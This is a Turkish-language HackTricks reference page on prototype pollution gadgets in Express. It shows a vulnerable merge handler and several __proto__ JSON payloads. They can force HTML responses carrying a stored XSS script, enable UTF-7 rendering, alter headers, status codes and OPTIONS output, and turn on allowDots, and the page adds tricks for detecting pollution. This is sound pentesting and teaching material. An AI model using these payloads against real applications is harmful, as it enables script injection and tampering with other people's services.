Express Prototype Pollution Gadgets

Support HackTricks

XSS yanıtlarını sunma

Daha fazla ayrıntı için orijinal araştırmaya göz atın

JSON içerik türünü HTML olarak değiştirin

JSON içerik türü yanıtı kullanan bir Express uygulamasında ve bir JSON'u yansıtarak:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototip kirlenmesi ile Express'i HTML yanıtı sunması için kandırabiliriz. Bu zafiyet, uygulamanın res.send(obj) kullanmasına ve uygulama/json içerik türü ile gövde ayrıştırıcısını kullanmasına dayanır.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

body ve _body özelliklerini kirleterek, Express'in HTML içerik türünü sunmasını sağlamak ve _body özelliğini yansıtmak mümkündür, bu da saklı XSS'e yol açar.

UTF7'yi Render Et

Express'in UTF-7 içeriği render etmesini sağlamak mümkündür:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Güvenli Tarama Teknikleri

JSON boşlukları

Aşağıdaki PP, bir JSON içindeki niteliklerin işlevselliği bozmayacak şekilde ekstra bir boşluğa sahip olmasını sağlayacaktır:

{"__proto__":{"json spaces": " "}}

O zaman yansıtılmış JSON şöyle görünecektir:

{"foo":  "bar"} -- Note the extra space

Açık Başlıklar

Aşağıdaki PP aracı, sunucunun HTTP başlığını geri göndermesini sağlayacaktır: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

CORS modülünün yüklenmesi gerekmektedir

OPTIONS Yöntemi

Aşağıdaki yük ile, OPTIONS yanıtından bir yöntemi gizlemek mümkündür:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Durum

Aşağıdaki PP yükü kullanılarak dönen durum kodu değiştirmek mümkündür:

{"__proto__":{"status":510}}

Hata

Bir prototipe bir dize gibi bir ilkel atadığınızda, bu prototipin bir nesne olması gerektiğinden no-op işlemi üretir. Eğer bir prototip nesnesini Object.prototype'a atamaya çalışırsanız, bu bir istisna fırlatır. Bu iki davranışı prototip kirliliğinin başarılı olup olmadığını tespit etmek için kullanabiliriz:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Yansıtılan Değer

Bir uygulama yanıtında bir nesne içerdiğinde, __proto__ ile birlikte alışılmadık bir isimle bir özellik oluşturmak faydalı olabilir. Özellikle, eğer yalnızca alışılmadık özellik yanıt olarak döndürülüyorsa, bu uygulamanın zayıflığını gösterebilir:

{"unusualName":"value","__proto__":"test"}

Ayrıca, Lodash gibi bir kütüphane kullanıldığında, bir özelliği hem prototip kirlenmesi (PP) yoluyla hem de doğrudan nesne içinde ayarlamak başka bir tanısal yaklaşım sunar. Eğer böyle bir özellik yanıttan çıkarılmışsa, bu, Lodash'ın birleştirmeden önce hedef nesnede özelliğin varlığını doğruladığını gösterir:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Dots'a İzin Ver

Express'te sorgu dizesi parametrelerinden nesneler oluşturmanıza olanak tanıyan bir seçenek vardır. Kesinlikle bir hata zincirinde kullanarak bir prototip kirlenmesi açığını istismar edebilirsiniz.

{"__proto__":{"allowDots":true}}

?foo.bar=baz Node'da bir nesne oluşturur.

Referanslar

HackTricks'i Destekleyin

Last updated